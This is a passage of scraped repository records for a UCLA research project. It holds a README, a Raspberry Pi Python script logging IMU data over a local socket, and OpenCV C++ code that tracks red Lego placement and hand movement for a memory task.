'the first item in list')\n self.assertEqual(first_saved_item.list, list_)\n self.assertEqual(second_saved_item.text, 'the second item in list')\n self.assertEqual(second_saved_item.list, list_)\n" } ]
4
Logan-Peters/UCLA-REU-Code
https://github.com/Logan-Peters/UCLA-REU-Code
c18425fd1071634284cd4a70477d79cc424bdabd
4a7051028523f00a79100da82360e2ee03acfe64
51bd9d76438bc7f19744ecf0775e776e84dffd89
refs/heads/master
2020-03-26T10:10:22.851637
2018-08-16T17:21:23
2018-08-16T17:21:23
144,784,228
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7831687331199646, "alphanum_fraction": 0.7848862409591675, "avg_line_length": 290.125, "blob_id": "46f7a57652925f69c2b281ca3e20faa02ebb8b59", "content_id": "1316d7053fd79852442c346e3bacd97eea0a0849", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2329, "license_type": "no_license", "max_line_length": 1240, "num_lines": 8, "path": "/README.md", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "# UCLA-REU-Code\n## Purpose: Collect data on upper limb tasks using camera's, a gyroscope and an accelerometer. This data can then be fed into a hidden markov model to train a model to help humans learn upper body skills with applications in physical therapy, training and education.\n### The python file, main.py, is meant to be run a RasberryPI with an attached gyroscope and accelerometer. \n### The c++ code and the python code communicate with each other through sockets and use their IP addresses to identify each other. Therefore both devices must connected to the same network(note some networks that scramble IP addresses such as eduroam will not work for this) and the IP address in the c++ file must be changed to the IP address of the RasberryPI.\n### The c++ code does a significant amount of it's work using 2 web cameras set up in parellel 3 centimeters apart.\n### The current experimental setup is a RasberryPI with a gyroscope and accelerometer attached onto the participants wrist and two cameras 35 centimeters above a grid of white squares, this is to help the participant remember lego locations and the program does not use this. The task is for the participant, after looking at the memorizing the initial setup, to put the legos back in the same positions after fifteen seconds. To run the experiment start the RasberryPI's code first, then place the legos on the grid, making sure the legos are in both cameras field of view. Now run c++ code and let the participant memorize the legos for as long as they like. When they say they are done click any key while in the program. Immediately remove the legos and wait for the program to print \"Begin\". When it does let the participant place the legos back in the grid. When they say they are done press 'q' in thr program. Now it should display the results of the run and display the initial legos position in green and the end positions in red. Now click any key and remove the legos from the grid. Wait until the program prints \"Begin\" and let the participant place legos. Repeat to preference. Terminate the program when finished.\n### Data from each run is stored in Data.txt in comma seperated format\n### To disable RasberryPI connectivity comment out: legoPlaced = sendHandToRasberryPI(movement != STILL && temp != STILL); and setUpRasberry();\n" }, { "alpha_fraction": 0.5611575245857239, "alphanum_fraction": 0.5957637429237366, "avg_line_length": 27.168067932128906, "blob_id": "c26e210bbdbfae2057f9fd9798a047af768fc3fc", "content_id": "4a0bc9502e765b3cbfb682fa87ad7a427971e0fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3352, "license_type": "no_license", "max_line_length": 179, "num_lines": 119, "path": "/main.py", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "import time\nimport IMU\nimport sys\nimport math\nimport datetime\nimport os\nimport thread\nimport socket\nhandInView = False\nlegoPlaced = False\nsum = 0\ndef receieveHandInView():\n Host = '0.0.0.0'\n global sum\n timerWhileHandInFrame = 0\n global handInView\n global legoPlaced\n Port = 65432\n #print(\"...\") \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((Host, Port))\n while True:\n s.listen(5)\n conn, addr = s.accept()\n \n print('connected by', addr)\n while True:\n data = conn.recv(1024)\n if data == 'yes':\n handInView = True\n if data == 'no':\n handInView = False\n if(handInView and timerWhileHandInFrame == 0):\n timerWhileHandInFrame = int(round(time.time()))\n else:\n if(sum != 0 and 0 != (int(round(time.time())) - timerWhileHandInFrame)):\n if(sum/(int(round(time.time())) - timerWhileHandInFrame) > 30000):\n legoPlaced = True\n print(sum/(int(round(time.time())) - timerWhileHandInFrame))\n timerWhileHandInFrame = 0\n sum = 0\n if(legoPlaced):\n conn.sendall(\"placed\")\n print(\"placed\")\n legoPlaced = False\n else:\n conn.sendall(\"not placed\")\n if not data:\n break\n\n\n\nRAD_TO_DEG = 57.29578\nM_PI = 3.14159265358979323846\nG_GAIN = 0.070 \t# [deg/s/LSB] If you change the dps for gyro, you need to update this value accordingly\nAA = 0.40 \t\t# Complementary filter constant\n#detect accelerometer and gyroscope\nIMU.detectIMU()\nIMU.initIMU()\n#opens file data.txt to append to it\nfilename = \"data.txt\"\nfile = open(filename, \"a\")\nthread.start_new_thread(receieveHandInView,() )\nrate_gyr_x = 0.0\nrate_gyr_y = 0.0\nrate_gyr_z = 0.0\ngyroXangle = 0.0\ngyroYangle = 0.0\ngyroZangle = 0.0\na = datetime.datetime.now()\nprevAccX = 0\nprevAccY = 0\nprevAccZ = 0\ntimer = 0\nstate = 0\n\nwhile True:\n\tACCx = IMU.readACCx()\n\tACCy = IMU.readACCy()\n\tACCz = IMU.readACCz()\n\tGYRx = IMU.readGYRx()\n\tGYRy = IMU.readGYRy()\n\tGYRz = IMU.readGYRz()\n\n\t#LP is the loop period which is how long between gyro reads\n\tb = datetime.datetime.now() - a\n a = datetime.datetime.now()\n \tLP = b.microseconds/(1000000*1.0)\n\t#gets UNIX time\n \tmillis = int(round(time.time()*1000))\n\n\t#Convert Gyro raw to degrees per second\n\trate_gyr_x = GYRx * G_GAIN\n\trate_gyr_y = GYRy * G_GAIN\n\trate_gyr_z = GYRz * G_GAIN\n\n\t#Calculate the angles from the gyro.\n\tgyroXangle+=rate_gyr_x*LP\n \tgyroYangle+=rate_gyr_y*LP\n \tgyroZangle+=rate_gyr_z*LP\n\n\t#Convert acceleration from mg/LSB to m/s^2\n\tAx = ACCx\n\tAy = ACCy\n\tAz = ACCz\n \n if(handInView and abs(Ax - prevAccX) + abs(Ay - prevAccY) + abs(Az - prevAccZ) + sum > 800):\n sum = abs(Ax - prevAccX) + abs(Ay - prevAccY) + abs(Az - prevAccZ) + sum\n\n \n\t#print writes to console reminder to delete later when things look good\n\t#file.write() writes to data.txt\n prevAccX = Ax\n prevAccY = Ay\n prevAccZ = Az\n\n\tfile.write(\"Time Stamp %i %3.3f %3.3f %3.3f %3.3f %3.3f %3.3f %3.3f %3.3f %3.3f \\n\" %(millis,gyroXangle,gyroYangle,gyroZangle,rate_gyr_x,rate_gyr_y,rate_gyr_z,Ax,Ay,Az))\n\ttime.sleep(0.03)\nfile.close()\n" }, { "alpha_fraction": 0.7194148898124695, "alphanum_fraction": 0.7526595592498779, "avg_line_length": 19.88888931274414, "blob_id": "3e55b5c621f90159703b2bdecbbdc1df1f2eea34", "content_id": "eae73ddef95a534ab544dcd6e7c1f859f2558d60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 752, "license_type": "no_license", "max_line_length": 36, "num_lines": 36, "path": "/main2.hpp", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "#ifndef _MAIN2_HEADER_\n#define _MAIN2_HEADER_\n\n#include <opencv2/core/mat.hpp>\n#include <opencv2/core/mat.inl.hpp>\n#include <opencv2/core/matx.hpp>\n#include <opencv2/core/types.hpp>\n#include <opencv2/core.hpp>\n#include <opencv2/highgui.hpp>\n#include <opencv2/imgproc/types_c.h>\n#include <opencv2/imgproc.hpp>\n#include <opencv2/videoio.hpp>\n#include <sys/_types/_size_t.h>\n#include <algorithm>\n#include <cmath>\n#include <cstdlib>\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include \"handGesture.hpp\"\n#include \"myImage.hpp\"\n\nusing namespace cv;\n\n\n#define ORIGCOL2COL CV_BGR2HLS\n#define COL2ORIGCOL CV_HLS2BGR\n#define NSAMPLES 7\n#define PI 3.14159\n\nHandGesture getHG2();\nvoid findHand2(MyImage *m);\nvoid setupFindHand2(MyImage *m);\n\n\n#endif\n" }, { "alpha_fraction": 0.5938736796379089, "alphanum_fraction": 0.6286855936050415, "avg_line_length": 30.876178741455078, "blob_id": "ea2f521ddfa3fcd27783a9392111b9a9a7b3d66b", "content_id": "c0bfb13f99e9dc31a8057c3eb436e75634757fef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 27031, "license_type": "no_license", "max_line_length": 137, "num_lines": 848, "path": "/RedLegoDetector.cpp", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "#include <opencv2/core/mat.hpp>\n#include <opencv2/core/mat.inl.hpp>\n#include <opencv2/core/matx.hpp>\n#include <opencv2/core/types.hpp>\n#include <opencv2/core.hpp>\n#include <opencv2/highgui.hpp>\n#include <opencv2/imgproc/types_c.h>\n#include <opencv2/imgproc.hpp>\n#include <opencv2/videoio.hpp>\n#include <sys/_types/_size_t.h>\n#include <algorithm>\n#include <cmath>\n#include <cstdlib>\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include \"main.hpp\"\n#include <chrono>\n#include \"myImage.hpp\"\n#include \"handGesture.hpp\"\n#include \"main2.hpp\"\n#include \"PointPolygonInteresector.hpp\"\n#include <time.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <sys/types.h>\n#include <iostream>\n#include <cstdlib>\n#include <sys/stat.h>\n#include <errno.h>\n#include <dirent.h>\n#include <cstdio>\n#include <string>\n#include <fstream>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sstream>\n\nusing namespace cv;\nusing namespace std;\nusing namespace chrono;\n\nint fast = 0;\nint fine = 0;\nint still = 0;\ndouble memorizeTime;\nvector<double> height;\nvector<double> height2;\nint numOfLegos = 0;\nint iterationOfExperiment = 0;\nbool foundLegosYet = false;\nauto start =\n\t\tduration_cast<milliseconds>(system_clock::now().time_since_epoch()).count();\n\n//A structure containing data about the hand used to manipulate the legos\nstruct Hand {\n\tbool found;\n\tPoint prevHand;\n\tHandGesture hand;\n};\n\n//A structures containing all the statistics for lego's once they've appeared\nstruct foundLego {\n\tdouble startTime;\n\tdouble variationDistance;\n\tdouble variationAngle;\n\tdouble closestDistance;\n\tdouble closestAngle;\n\tdouble height;\n\tRotatedRect currentPos;\n};\n\nenum {\n\tSTILL, FINE, SPEEDY\n};\n\n//Given x,y coordinates from each camera of an ROI returns estimated depth in inches\nfloat* get3DCoords(float* l, float* r) {\n\tdouble b = 100.0 / 25.4 * 2;\n\tdouble f = (8.1259257941370424 + 8.1351812555998572) / 4 * 100 / 25.4 / .022\n\t\t\t/ 1.3; //Constants for our webcam\n\tint xl = l[0], xr = r[0], yi;\n\tyi = (l[1] + r[1]) / 2;\n\tint d = abs(xl - xr);\n\tdouble z = ((b * f / d));\n\tdouble x = z * xl / f;\n\tdouble y = z * yi / f;\n\tfloat* p = new float[3];\n\tp[0] = x;\n\tp[1] = y;\n\tp[2] = z;\n\treturn p;\n}\nbool tempor = true;\n\nint n = 0;\nint sockfd = 0;\n\n//Establishes the connection to the rasberry pi\nvoid setUpRasberry() {\n\tstruct sockaddr_in serv_addr;\n\n\tif ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {\n\t\tcout << \"Error : Could not create socket\" << endl;\n\t\treturn;\n\t}\n\tserv_addr.sin_family = AF_INET;\n\tserv_addr.sin_port = htons(65432);\n\tserv_addr.sin_addr.s_addr = inet_addr(\"172.20.10.6\");\n\n\tif (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr))\n\t\t\t< 0) {\n\t\tcout << \"Error : Connect Failed\" << endl;\n\t\treturn;\n\t}\n\treturn;\n}\n\n//Sends whether the hand is in frame to the PI and receives whether or not the PI thinks a lego might\n//have been placed\nbool sendHandToRasberryPI(bool found) {\n\tchar * buffer = \"no\";\n\tif (found) {\n\t\tbuffer = \"yes\";\n\t}\n\n\tn = write(sockfd, buffer, strlen(buffer));\n\n\tstring output(1024, 0);\n\tread(sockfd, &output[0], 1024);\n\tif (strcmp(output.c_str(), \"placed\") == 0) {\n\t\tcout << \"placed\" << endl;\n\t\treturn true;\n\t}\n\tcout << \"not placed \" << endl;\n\treturn false;\n}\n\n//Processes the image to find the edges of the legos\nMat legoImageProcessing(Mat baseImage) {\n\tMat grid = Mat::zeros(baseImage.size(), CV_32F); //Creates an image to copy onto\n\timwrite(\"Base.jpg\", baseImage); //Saves base image\n\tMat temp = Mat::zeros(baseImage.size(), CV_32F); //a blank image to threshold onto\n\tGaussianBlur(baseImage, baseImage, Size(3, 3), 0, 0); //blurs the image to get rid of irregularities\n\tcvtColor(baseImage, baseImage, CV_BGR2HSV); //Swaps color space from BGR to HSV\n\tinRange(baseImage, Scalar(0, 50, 60), Scalar(10, 300, 300), temp); //Threshold the image\n\tinRange(baseImage, Scalar(170, 50, 60), Scalar(190, 300, 300), baseImage); //Threshold the image\n\taddWeighted(baseImage, 1.0, temp, 1.0, 0.0, grid); //Combines the two thresholds since red is on both ends of the hue values\n\n\timwrite(\"thresh.jpg\", grid); // Saves threshholded image\n\n\t//Dilates and then erodes the thresholded image consolidate parts\n\tdilate(grid, grid, getStructuringElement(MORPH_ELLIPSE, Size(35, 35)));\n\terode(grid, grid, getStructuringElement(MORPH_ELLIPSE, Size(35, 35)));\n\n\timwrite(\"de.jpg\", grid);\n\n\t//Erodes then dilates the thresholded image\n\terode(grid, grid, getStructuringElement(MORPH_ELLIPSE, Size(20, 20)));\n\tdilate(grid, grid, getStructuringElement(MORPH_ELLIPSE, Size(20, 20)));\n\n\t//Displays the thresholded image\n\tstring s = \"\";\n\tif (tempor) {\n\t\ts = \"thresh1\";\n\t} else {\n\t\ts = \"thresh2\";\n\t}\n\ttempor = !tempor;\n\timshow(s, grid);\n\timwrite(\"ed.jpg\", grid);\n\n\t//Detects the edges of the thresholded image\n\tCanny(grid, grid, 100, 200, 3);\n\treturn grid;\n}\n\n//Gets the contours of the legos\nvector<vector<Point>> getContours(Mat processedImage) {\n\tvector<Vec4i> hierarchy;\n\tvector<vector<Point>> contours;\n\tfindContours(processedImage, contours, hierarchy, RETR_EXTERNAL,\n\t\t\tCV_CHAIN_APPROX_SIMPLE, Point(0, 0)); //Calculates the contours and ignores hierarchy\n\treturn contours;\n}\n\n//Draws a gray rectangle to represent the hand\nvoid drawHandRectangle(Hand *h, Mat *imgToDraw) {\n\tif (h->hand.bRect.area() < 80000) { //Only draws hand if bigger than a certain size\n\t\th->found = false;\n\t\treturn;\n\t}\n\trectangle(*imgToDraw, h->hand.bRect, Scalar(100, 100, 100), 2, 8, 0); //Draws a gray rectangle\n\th->found = true;\n}\n\n//updates current hand based on new frame\nvoid updateHand(Hand *h, HandGesture newHand) {\n\th->prevHand = Point(h->hand.bRect.x + h->hand.bRect.width / 2,\n\t\t\th->hand.bRect.y + h->hand.bRect.height / 2); //Updates prevHand\n\th->hand = newHand; //saves the new hand\n}\n\n//Calculates the hand movement type: STILL = hand off screen, FAST = hand on screen in rapid motion, FINE = slow hand movement\nint handMovementTracking(Hand h) {\n\tif (!h.found) { //If the hand isn't found\n\t\treturn STILL;\n\t}\n\tif (norm(\n\t\t\tPoint(h.hand.bRect.x + h.hand.bRect.width / 2,\n\t\t\t\t\th.hand.bRect.y + h.hand.bRect.height / 2) - h.prevHand)\n\t\t\t< 75) { //If the hand moved less than 75 pixels\n\t\treturn FINE;\n\t}\n\treturn SPEEDY;\n}\n\n//Transforms legos so that it is ordered so that the closest legos are at the same index as in firstLegos\nvoid maximizeCloseness(vector<RotatedRect> *legos,\n\t\tvector<RotatedRect> *firstLegos) {\n\tvector<int> pos;\n\tvector<int> distance;\n\tint newPos;\n\tint minDist = 1000000;\n\tint replaced = 0;\n\n\t//loops through legos and first legos\n\tfor (int i = 0; i < legos->size(); i++) {\n\t\tnewPos = i - replaced; //so that legos is bigger than firstLegos it'll just be put it at the end\n\t\tfor (int j = 0; j < firstLegos->size(); j++) {\n\t\t\tif (norm(legos->at(i).center - firstLegos->at(j).center)\n\t\t\t\t\t< minDist) { //if firstLegos->at(j) is the closest lego yet\n\t\t\t\tif (find(pos.begin(), pos.end(), j) == pos.end()) { //if no other lego has this as it's closest\n\t\t\t\t\tminDist = norm(\n\t\t\t\t\t\t\tlegos->at(i).center - firstLegos->at(j).center);\n\t\t\t\t\tnewPos = j;\n\t\t\t\t} else if (norm(legos->at(i).center - firstLegos->at(j).center)\n\t\t\t\t\t\t< distance[((find(pos.begin(), pos.end(), j)\n\t\t\t\t\t\t\t\t- pos.begin()))]) { //if this lego is closer than the other lego that has it as it's closest\n\t\t\t\t\tptrdiff_t a =\n\t\t\t\t\t\t\t(find(pos.begin(), pos.end(), j) - pos.begin());\n\t\t\t\t\tlegos->push_back(legos->at(a)); //re-adds the lego that this lego replaced\n\t\t\t\t\tpos[find(pos.begin(), pos.end(), j) - pos.begin()] = -1; //sets the pos position to -1 so it never get's found\n\t\t\t\t\tminDist = norm(\n\t\t\t\t\t\t\tlegos->at(i).center - firstLegos->at(j).center);\n\t\t\t\t\tnewPos = j;\n\t\t\t\t\treplaced++; //keeps track of how many -1's there are\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tpos.push_back(newPos);\n\t\tdistance.push_back(minDist);\n\t\tminDist = 1000000;\n\t}\n\tvector<RotatedRect> temp;\n\n\t//Reorders legos based on results from previous loop\n\tfor (int i = 0; i < legos->size() - replaced; i++) {\n\t\ttemp.push_back(\n\t\t\t\tlegos->at(\n\t\t\t\t\t\t(int) (find(pos.begin(), pos.end(), i) - pos.begin())));\n\t}\n\t*legos = temp;\n}\n\n//draws best fit rotated rectangle for the legos\nvoid drawLegos(RotatedRect cur, Mat toDraw, Scalar colorToDraw) {\n\tcv::Point2f pts2[4];\n\tcur.points(pts2);\n\tline(toDraw, pts2[0], pts2[1], colorToDraw, 2, 8, 0);\n\tline(toDraw, pts2[1], pts2[2], colorToDraw, 2, 8, 0);\n\tline(toDraw, pts2[2], pts2[3], colorToDraw, 2, 8, 0);\n\tline(toDraw, pts2[3], pts2[0], colorToDraw, 2, 8, 0);\n}\n\n//updates statistics for each lego\nvoid updateFoundLegosStatistics(vector<RotatedRect> *prevLego,\n\t\tvector<RotatedRect> *firstLegos, vector<foundLego> *foundLegos,\n\t\tbool legoPlaced) {\n\tif (firstLegos->size() < prevLego->size()) {\n\t\tcout << \"Seems like there are more legos placed than you started with\"\n\t\t\t\t<< endl;\n\t\treturn;\n\t}\n\tfor (int i = 0; i < prevLego->size(); i++) {\n\t\tif (!foundLegosYet || foundLegos->size() <= i) { //if it's the first time through or foundLegos size is less than i\n\t\t\tfoundLego l;\n\t\t\tfoundLegosYet = true;\n\t\t\tint minLoc = 0;\n\t\t\tint minDistance = 10000000;\n\t\t\tfor (int j = 0; j < firstLegos->size(); j++) { //finds closest lego\n\t\t\t\tif (norm(firstLegos->at(j).center - prevLego->at(i).center)\n\t\t\t\t\t\t< minDistance) {\n\t\t\t\t\tminLoc = j;\n\t\t\t\t\tminDistance = norm(\n\t\t\t\t\t\t\tfirstLegos->at(j).center - prevLego->at(i).center);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tnumOfLegos++;\n\t\t\tcout << \"New\" << endl;\n\t\t\t//updates the statistics\n\t\t\tl.closestAngle = abs(\n\t\t\t\t\tfirstLegos->at(minLoc).angle - prevLego->at(i).angle);\n\t\t\tl.closestDistance = minDistance;\n\t\t\tl.startTime = duration_cast<milliseconds>(\n\t\t\t\t\tsystem_clock::now().time_since_epoch()).count();\n\t\t\tl.variationAngle = 0;\n\t\t\tl.variationDistance = 0;\n\t\t\tl.currentPos = prevLego->at(i);\n\t\t\tfoundLegos->push_back(l);\n\t\t} else {\n\t\t\t//Way to keep track of how many legos there are(not perfect)\n\t\t\tif ((foundLegos->at(i).height - height[i] > 1.2\n\t\t\t\t\t|| prevLego->at(i).size.area()\n\t\t\t\t\t\t\t- foundLegos->at(i).currentPos.size.area() > 1250)) {\n\t\t\t\tcout << \"new lego\" << endl;\n\t\t\t\tnumOfLegos++;\n\t\t\t}\n\t\t\tif (foundLegos->at(i).height - height[i] > .2) {\n\t\t\t\tcout << \"why...\";\n\t\t\t}\n\t\t\tif (prevLego->at(i).size.area()\n\t\t\t\t\t- foundLegos->at(i).currentPos.size.area() > 1000) {\n\t\t\t\tcout << \"...\";\n\t\t\t}\n\t\t\tcout << numOfLegos << endl;\n\n\t\t\tif (foundLegos->at(i).closestAngle\n\t\t\t\t\t> fmod(\n\t\t\t\t\t\t\tabs(\n\t\t\t\t\t\t\t\t\tfoundLegos->at(i).currentPos.angle\n\t\t\t\t\t\t\t\t\t\t\t- firstLegos->at(i).angle), 45)) {\n\t\t\t\tfoundLegos->at(i).closestAngle = fmod(\n\t\t\t\t\t\tabs(\n\t\t\t\t\t\t\t\tfoundLegos->at(i).currentPos.angle\n\t\t\t\t\t\t\t\t\t\t- firstLegos->at(i).angle), 45);\n\t\t\t}\n\t\t\tif (foundLegos->at(i).closestDistance\n\t\t\t\t\t> norm(\n\t\t\t\t\t\t\tfoundLegos->at(i).currentPos.center\n\t\t\t\t\t\t\t\t\t- firstLegos->at(i).center)) {\n\t\t\t\tfoundLegos->at(i).closestDistance = norm(\n\t\t\t\t\t\tfoundLegos->at(i).currentPos.center\n\t\t\t\t\t\t\t\t- firstLegos->at(i).center);\n\t\t\t}\n\t\t\tif (norm(\n\t\t\t\t\tfoundLegos->at(i).currentPos.center\n\t\t\t\t\t\t\t- prevLego->at(i).center) > 5) {\n//\t\t\t\tcout\n//\t\t\t\t<< norm(\n//\t\t\t\t\t\tfoundLegos->at(i).currentPos.center\n//\t\t\t\t\t\t- prevLego->at(i).center) << endl;\n\n\t\t\t\tfoundLegos->at(i).variationDistance += norm(\n\t\t\t\t\t\tfoundLegos->at(i).currentPos.center\n\t\t\t\t\t\t\t\t- prevLego->at(i).center);\n\t\t\t}\n\t\t\tif (fmod(\n\t\t\t\t\tabs(\n\t\t\t\t\t\t\tfoundLegos->at(i).currentPos.angle\n\t\t\t\t\t\t\t\t\t- prevLego->at(i).angle), 45) > 3) {\n//\t\t\t\tcout\n//\t\t\t\t\t\t<< fmod(\n//\t\t\t\t\t\t\t\tabs(\n//\t\t\t\t\t\t\t\t\t\tfoundLegos->at(i).currentPos.angle\n//\t\t\t\t\t\t\t\t\t\t\t\t- prevLego->at(i).angle), 45)\n//\t\t\t\t\t\t<< endl;\n\t\t\t\tfoundLegos->at(i).variationAngle += fmod(\n\t\t\t\t\t\tabs(\n\t\t\t\t\t\t\t\tfoundLegos->at(i).currentPos.angle\n\t\t\t\t\t\t\t\t\t\t- prevLego->at(i).angle), 45);\n\t\t\t}\n\t\t\tfoundLegos->at(i).currentPos = prevLego->at(i);\n\n\t\t}\n\t}\n\n}\n\n//Finds corresponding legos and calculate distance based on stereovision techniques. Prints out guess.\nvoid stereoVision(vector<RotatedRect> legos, vector<RotatedRect> legos2,\n\t\tvector<Scalar> *color, vector<Scalar> *color2, Mat imageToDraw) {\n\tint a = 0;\n\tint b = 0;\n\tfor (int i = 0; i < min(legos.size() - a, legos2.size() + b); i++) {\n\t\tif (i + a >= legos.size()) {\n\t\t\tbreak;\n\t\t} else if (i + b >= legos2.size()) {\n\t\t\tbreak;\n\t\t}\n\n\t\t//checks if the y difference is greater than 50\n\t\tif (abs(legos[i + a].center.y - legos2[i + b].center.y) > 50) {\n\t\t\tif (legos[i + a].center.y < legos2[i + b].center.y) { //depending on which one was on the bottom it removes it and then continues loop\n\t\t\t\tlegos.erase(legos.begin() + i + a);\n\t\t\t\ta++;\n\t\t\t} else {\n\t\t\t\tlegos2.erase(legos2.begin() + i + b);\n\t\t\t\tb++;\n\t\t\t}\n\t\t\ti--;\n\t\t\tcontinue;\n\t\t}\n\n\t\t//checks that if the x values are too far away from each other\n\t\tif (abs(legos[i + a].center.x - legos[i + b].center.x) > 1000) {\n\t\t\tif (legos[i + a].center.y < legos2[i + b].center.y) { //depending on which one was on the bottom it removes it and then continues loop\n\t\t\t\tlegos.erase(legos.begin() + i + a);\n\t\t\t\ta++;\n\t\t\t} else {\n\t\t\t\tlegos2.erase(legos2.begin() + i + b);\n\t\t\t\tb++;\n\t\t\t}\n\t\t\ti--;\n\t\t\tcontinue;\n\t\t}\n\n\t\t//passed previous two conditions so must be the same lego\n\n\t\tcolor2->at(i + b) = color->at(i + a); //sets them to be the same color\n\t\tline(imageToDraw, legos[i + a].center,\n\t\t\t\tPoint(legos2[i + b].center.x + imageToDraw.cols / 2,\n\t\t\t\t\t\tlegos2[i + b].center.y), Scalar(255, 255, 255), 2, 8,\n\t\t\t\t0); //draws a line between them\n\t\tint q = legos2[i + b].center.x - legos[i + a].center.x;\n\t\tstring s = \"Offset: \" + to_string(q);\n\t\tputText(imageToDraw, s,\n\t\t\t\tcvPoint(\n\t\t\t\t\t\tlegos[i + a].center.x / 2 + imageToDraw.cols / 4\n\t\t\t\t\t\t\t\t+ legos2[i + b].center.x / 2,\n\t\t\t\t\t\tlegos[i + a].center.y / 2 - 15\n\t\t\t\t\t\t\t\t+ legos2[i + b].center.y / 2),\n\t\t\t\tFONT_HERSHEY_COMPLEX_SMALL, 1.4, cvScalar(255, 255, 255), 1,\n\t\t\t\tCV_AA); //writes offset\n\t\tfloat left[2] = { legos[i + a].center.x, legos[i + a].center.y };\n\t\tfloat right[2] = { legos2[i + a].center.x, legos2[i + a].center.y };\n\t\tfloat* coord = get3DCoords(left, right);\n\t\theight.push_back(coord[2]);\n\t\tputText(imageToDraw, to_string(coord[2]),\n\t\t\t\tcvPoint(legos2[i + b].center.x - 10 + imageToDraw.cols / 2,\n\t\t\t\t\t\tlegos2[i + b].center.y + 40),\n\t\t\t\tFONT_HERSHEY_COMPLEX_SMALL, 1.4, cvScalar(255, 255, 255), 1,\n\t\t\t\tCV_AA); //writes distance\n\t\tputText(imageToDraw, to_string(coord[2]),\n\t\t\t\tcvPoint(legos[i + a].center.x - 10, legos[i + a].center.y + 40),\n\t\t\t\tFONT_HERSHEY_COMPLEX_SMALL, 1.4, cvScalar(255, 255, 255), 1,\n\t\t\t\tCV_AA); //writes distance\n\t}\n}\n\n//Displays the original placement of legos in green and the placement of the legos in\n//red. Also prints out and saves a number of metrics to be used as input for HMM.\nvoid showCorrected(vector<RotatedRect> firstLegos2, vector<RotatedRect> legos2,\n\t\tvector<RotatedRect> firstLegos, vector<RotatedRect> legos,\n\t\tMat leftCorrection, Mat rightCorrection, long start2,\n\t\tvector<foundLego> foundLegos, vector<foundLego> foundLegos2) {\n\tdouble dist = 0;\n\tdouble angle = 0;\n\tint legoNumber = 0;\n\tofstream file;\n\tfile.open(\"Data.txt\", std::ios::app);\n\tfile << fixed;\n\tcout << iterationOfExperiment << endl;\n\tfile << iterationOfExperiment << \", \";\n\n\tmaximizeCloseness(&legos, &firstLegos);\n\n\t//finds each legos distance and angle difference and draws them\n\tfor (int q = 0; q < legos.size(); q++) {\n\t\tPoint2f pts2[4];\n\t\tlegos[q].points(pts2);\n\t\tline(leftCorrection, pts2[0], pts2[1], Scalar(0, 255, 0), 2, 8, 0);\n\t\tline(leftCorrection, pts2[1], pts2[2], Scalar(0, 255, 0), 2, 8, 0);\n\t\tline(leftCorrection, pts2[2], pts2[3], Scalar(0, 255, 0), 2, 8, 0);\n\t\tline(leftCorrection, pts2[3], pts2[0], Scalar(0, 255, 0), 2, 8, 0);\n\n\t\tfirstLegos[q].points(pts2);\n\t\tline(leftCorrection, pts2[0], pts2[1], Scalar(0, 0, 255), 2, 8, 0);\n\t\tline(leftCorrection, pts2[1], pts2[2], Scalar(0, 0, 255), 2, 8, 0);\n\t\tline(leftCorrection, pts2[2], pts2[3], Scalar(0, 0, 255), 2, 8, 0);\n\t\tline(leftCorrection, pts2[3], pts2[0], Scalar(0, 0, 255), 2, 8, 0);\n\t\tfile << norm(legos[q].center - firstLegos[q].center) << \", \";\n\t\tfile << fmod(abs(legos[q].angle - firstLegos[q].angle), 45) << \", \";\n\t\tcout << \"Lego Number \" << legoNumber << \" distance \"\n\t\t\t\t<< norm(legos[q].center - firstLegos[q].center) << endl;\n\t\tcout << \"Lego Number \" << legoNumber << \" angle \"\n\t\t\t\t<< fmod(abs(legos[q].angle - firstLegos[q].angle), 45) << endl;\n\t\tdist += norm(legos[q].center - firstLegos[q].center);\n\t\tangle += fmod(abs(legos[q].angle - firstLegos[q].angle), 45);\n\t\tlegoNumber++;\n\t}\n\n\tdouble dist2 = 0;\n\tdouble angle2 = 0;\n\n\t//finds each legos distance and angle difference and draws them\n\tmaximizeCloseness(&legos2, &firstLegos2);\n\tlegoNumber = 0;\n\tfor (int q = 0; q < legos2.size(); q++) {\n\t\tPoint2f pts2[4];\n\t\tlegos2[q].points(pts2);\n\t\tline(rightCorrection, pts2[0], pts2[1], Scalar(0, 255, 0), 2, 8, 0);\n\t\tline(rightCorrection, pts2[1], pts2[2], Scalar(0, 255, 0), 2, 8, 0);\n\t\tline(rightCorrection, pts2[2], pts2[3], Scalar(0, 255, 0), 2, 8, 0);\n\t\tline(rightCorrection, pts2[3], pts2[0], Scalar(0, 255, 0), 2, 8, 0);\n\n\t\tfirstLegos2[q].points(pts2);\n\t\tline(rightCorrection, pts2[0], pts2[1], Scalar(0, 0, 255), 2, 8, 0);\n\t\tline(rightCorrection, pts2[1], pts2[2], Scalar(0, 0, 255), 2, 8, 0);\n\t\tline(rightCorrection, pts2[2], pts2[3], Scalar(0, 0, 255), 2, 8, 0);\n\t\tline(rightCorrection, pts2[3], pts2[0], Scalar(0, 0, 255), 2, 8, 0);\n\t\tfile << norm(legos2[q].center - firstLegos2[q].center) << \", \";\n\t\tfile << fmod(abs(legos2[q].angle - firstLegos2[q].angle), 45) << \", \";\n\t\tcout << \"Lego Number \" << legoNumber << \" distance 